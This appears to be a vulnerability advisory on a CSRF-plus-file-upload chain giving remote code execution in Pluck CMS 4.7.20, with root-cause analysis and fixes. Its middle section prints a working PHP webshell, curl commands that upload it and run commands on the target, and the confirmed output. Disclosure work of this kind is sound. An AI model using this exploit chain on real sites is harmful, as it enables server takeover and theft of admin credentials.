TL;DR
Chain two forgiving mistakes in Pluck CMS 4.7.20 and you get unauthenticated remote code execution (CVE-2026-78749). First, the CSRF guard returns true when the Referer header is missing, so an attacker's page can fire admin actions through a logged-in admin's browser. Second, the module installer accepts any filename containing .tar.gz and writes the file to a web-accessible directory before checking whether it is a real archive. Upload webshell.tar.gz.php through a forged request and you have a PHP shell running as www-data. The only prerequisite is that an admin visits one malicious page. Block8.ai's Security Research Team rates it CVSS 3.1 of 9.6 (Critical), CWE-352 chained with CWE-434.
The shape of the attack
Most serious breaches are not one spectacular bug. They are two or three modest ones that happen to line up. This is a clean example. Neither half is exotic on its own. Together they take an attacker from "I have no account" to "I run commands on your server" with a single click from someone else.
Here is the whole arc in one breath: an unauthenticated attacker builds a web page, gets a logged-in Pluck admin to open it, the page forges a module-install request using the admin's session, the installer writes an attacker-named PHP file to a public folder, and the attacker then browses to that file and runs commands. No password ever changes hands.
Let's walk the two links.
Link one: the CSRF guard that says yes to strangers
Pluck guards admin actions with requestedByTheSameDomain() in data/inc/functions.admin.php, which tries to confirm a request came from the site's own domain by inspecting the Referer header. The flaw is in how it handles a missing Referer: it logs a warning and returns true anyway.
An attacker simply makes sure the Referer never arrives. A page or form carrying referrerpolicy="no-referrer" tells the browser to omit it. The guard then treats "I can't tell where this came from" as "this is allowed", and the forged request sails through on the admin's session cookie.
That alone is a CSRF problem (CWE-352). It becomes a catastrophe because of what it can reach.
Link two: the installer that writes first and checks later
The module installation handler in data/inc/modules_install.php, reached via admin.php?action=installmodule, is meant to accept a .tar.gz archive. It validates the filename like this, in spirit:
if (strpos($filename, '.tar.gz')) { ... }
strpos() returns the position of the substring, and it is truthy for any filename that contains .tar.gz anywhere at all. There is no anchor to the end of the string. So webshell.tar.gz.php passes, because .tar.gz is sitting right there in the middle.
Then the ordering seals it. The handler calls copy() to write the uploaded file into the web-accessible data/modules/ directory under the attacker's chosen name before PharData tries to validate the archive. The content is not a real gzip archive, so PharData throws an UnexpectedValueException, but by then the PHP file is already on disk. The validation failure is loud and completely too late. This is CWE-434, unrestricted upload of a dangerous file type.
Under the bonnet: the confirmed chain
The payload is a one-liner:
echo '<?php echo shell_exec($_GET["c"]); ?>' > webshell.tar.gz.php
The forged request, with no Referer to simulate the cross-site origin:
curl -b ADMIN_SESSION_COOKIE \
-X POST http://TARGET/admin.php?action=installmodule \
-F 'sendfile=@webshell.tar.gz.php;type=application/gzip' \
-F 'submit=Upload'
The install response is a PharData fatal error, which is exactly what you want to see: the archive check failed after the file landed. Then you collect your shell:
curl http://TARGET/data/modules/webshell.tar.gz.php?c=id
Confirmed against Pluck CMS 4.7.20 on PHP 8.2.31 and Apache 2.4.67:
?c=idreturneduid=33(www-data) gid=33(www-data) groups=33(www-data)?c=uname -areturned the host kernel string- Reading the admin password file returned the stored password hash
In a real attack the forged POST originates from the attacker's auto-submitting HTML page rather than curl; the file input is pre-populated client-side via a FileReader or delivered through a direct POST redirect. The curl above is the faithful stand-in that proves both the CSRF bypass and the RCE in one shot.
Why it is Critical
The 9.6 score is earned. This reaches full operating-system command execution with zero prior credentials. The only thing the attacker needs from the victim is a single page view by someone who happens to be logged in as admin, which is squarely in the realm of ordinary phishing. Once the shell is live, it runs as the web server user, can read application secrets including the admin password hash, and provides a foothold for pivoting further into the host.
It is the combination that is deadly. On their own, the CSRF weakness and the filename bypass are each serious but bounded. Lined up, they erase the authentication requirement entirely: the RCE that normally needs an admin account borrows one, uninvited.
How to fix it
Break either link and the chain collapses, but both deserve fixing.
For the CSRF guard:
- Use per-request anti-CSRF tokens bound to the session and verified server-side. Do not rely on the
Refererheader, which is optional and attacker-controllable. - Fail closed: if the origin cannot be determined, return
falseand deny the action.
For the module installer:
- Anchor the filename check to the end of the string and validate the full extension, not a substring. Reject anything that is not exactly a
.tar.gz. - Validate the archive before writing anything to disk, and write to a location outside the web root during processing.
- Never store uploaded files under their attacker-supplied names in a directory the web server will execute. Generate safe names and strip executable extensions.
- Disable PHP execution in upload and module directories at the server level as defence in depth.
Until a fixed release is available, administrators should not remain logged into the Pluck admin panel while browsing untrusted sites, and operators should lock down access to the admin interface.
Closing
This is what it looks like when two reasonable-seeming shortcuts shake hands. A guard that approves the unknown, and an installer that trusts a substring and acts before it validates. Neither author imagined the other's code standing next to theirs. The Block8.ai Security Research Team found and chained both during authorised research into Pluck CMS. The enduring lesson of chained vulnerabilities is that attackers do not respect your module boundaries, and your threat model shouldn't either.